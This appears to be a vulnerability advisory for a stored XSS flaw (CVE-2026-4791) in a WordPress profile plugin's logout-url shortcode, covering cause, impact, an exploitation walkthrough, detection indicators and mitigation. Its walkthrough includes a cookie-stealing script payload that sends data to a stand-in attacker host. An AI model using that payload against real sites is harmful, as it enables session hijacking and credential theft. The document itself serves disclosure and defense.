CVE-2026-4791: 
WordPress vulnerability analysis and mitigation

CVE-2026-4791 is a Stored Cross-Site Scripting (XSS) vulnerability in the PeproDev Ultimate Profile Solutions plugin for WordPress. It affects all versions up to and including 8.2.36, where insufficient input sanitization and output escaping on the button attribute of the logout-url shortcode allows authenticated attackers to inject arbitrary web scripts. The vulnerability was published on October 10, 2026, with a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically insufficient sanitization of user-supplied input in the button attribute of the logout-url shortcode before it is rendered in page output. An attacker with at least contributor-level WordPress access can embed a malicious script payload in this attribute when inserting the shortcode into a post or page. The injected script is then stored server-side and executes in the browsers of any user who visits the affected page. The vulnerable code path has been identified in the plugin's login.php file (GitHub Advisory, WordPress Trac).

Successful exploitation allows authenticated attackers with contributor-level access or higher to persistently inject malicious JavaScript into WordPress pages, which executes in the context of any visitor's browser. This can lead to session hijacking, credential theft, redirection to malicious sites, or distribution of malware to site visitors. The scope is changed (S:C), meaning the impact extends beyond the attacker's own session to affect all users who access the compromised pages (GitHub Advisory, Wordfence).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation at the time of disclosure. The EPSS score is 0.0, indicating a currently low probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (GitHub Advisory, Wordfence).

1. Gain Contributor Access: Obtain or compromise a WordPress account with at least contributor-level privileges on a site running PeproDev Ultimate Profile Solutions version 8.2.36 or earlier.
2. Create or Edit a Post/Page: Navigate to the WordPress editor and create or edit a post or page where the logout-url shortcode can be inserted.
3. Inject Malicious Payload: Insert the shortcode with a crafted button attribute containing a JavaScript payload, for example: [logout-url button="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the Content: Save and publish the page so the malicious shortcode is stored in the WordPress database.
5. Trigger Execution: When any site visitor (including administrators) loads the injected page, the unsanitized button attribute is rendered in the HTML output and the embedded script executes in their browser, enabling session hijacking or credential theft (GitHub Advisory, Wordfence).

• Database/Content: WordPress posts or pages containing the [logout-url] shortcode with unexpected or encoded JavaScript in the button attribute (e.g., <script>, javascript:, onerror=, onload= patterns).
• Logs: Web server access logs showing requests to pages containing the logout-url shortcode from multiple distinct users, potentially followed by outbound requests to external domains.
• Network: Unusual outbound HTTP/HTTPS requests from site visitors' browsers to unknown external domains shortly after loading specific WordPress pages; traffic to attacker-controlled cookie-harvesting endpoints.
• File System: Review of the WordPress database (wp_posts table) for shortcode content with embedded script tags or encoded payloads in the button attribute of logout-url shortcodes.

Site administrators should update the PeproDev Ultimate Profile Solutions plugin to a version released after 8.2.36, which includes the fix documented in the WordPress plugin changeset (WordPress Trac). As an interim measure, restrict contributor-level access to only fully trusted users, and audit existing pages using the logout-url shortcode for malicious content. Deploying a Web Application Firewall (WAF) capable of detecting XSS payloads in shortcode attributes can provide additional defense-in-depth (GitHub Advisory, Wordfence).